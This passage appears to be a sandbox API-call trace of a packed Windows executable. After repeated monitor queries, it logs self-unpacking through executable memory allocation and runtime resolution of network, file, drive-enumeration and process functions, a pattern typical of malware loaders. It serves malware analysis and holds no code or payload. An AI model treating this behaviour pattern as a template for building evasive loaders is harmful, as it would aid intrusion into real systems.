lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.160] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.161] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.162] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.163] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.163] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.163] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0028.367] LocalAlloc (uFlags=0x0, uBytes=0x451b8) returned 0x273fd0 [0028.384] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0028.392] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0028.392] VirtualProtect (in: lpAddress=0x2b9190, dwSize=0x33d4a, flNewProtect=0x40, lpflOldProtect=0x18d468 | out: lpflOldProtect=0x18d468*=0x4) returned 1 [0028.414] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0028.414] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0028.414] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0028.414] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0028.415] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0028.415] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0028.415] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0028.415] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0028.415] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x58 [0028.417] Module32First (hSnapshot=0x58, lpme=0x18d1b8) returned 1 [0028.418] VirtualAlloc (lpAddress=0x0, dwSize=0x5fa50, flAllocationType=0x1000, flProtect=0x40) returned 0x65f0000 [0028.430] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0028.430] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0028.430] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0028.430] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0028.430] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0028.430] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0028.430] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0028.430] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0028.430] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0028.430] SetErrorMode (uMode=0x400) returned 0x0 [0028.430] SetErrorMode (uMode=0x0) returned 0x400 [0028.431] GetVersionExA (in: lpVersionInformation=0x18c0e8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x4, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18c0e8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0028.431] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x6650000 [0028.436] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18d170 | out: lpflOldProtect=0x18d170*=0x2) returned 1 [0028.469] VirtualFree (lpAddress=0x6650000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0028.471] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0028.471] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0028.471] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0028.471] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0028.471] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0028.471] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0028.471] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b50000 [0028.545] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0028.545] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0028.545] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0028.545] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0030.979] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0030.979] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0030.979] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0030.979] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0030.979] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0030.979] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0030.979] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0030.979] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74b10000 [0031.140] GetProcAddress (hModule=0x74b10000, lpProcName="timeGetTime") returned 0x74b126e0 [0031.140] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0031.140] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0031.141] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0031.141] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0031.141] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0031.141] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0031.141] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0031.141] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0031.141] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0031.141] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0031.141] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0031.141] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0031.141] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0031.141] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0031.141] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0031.142] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0031.143] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0031.144] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0031.144] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0031.144] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0031.144] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0031.144] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0031.144] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0031.144] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0031.144] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0031.144] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0031.144] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0031.144] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0031.145] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0031.146] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0031.147] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0031.148] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0031.149] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0031.150] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0031.150] GetProcAddress 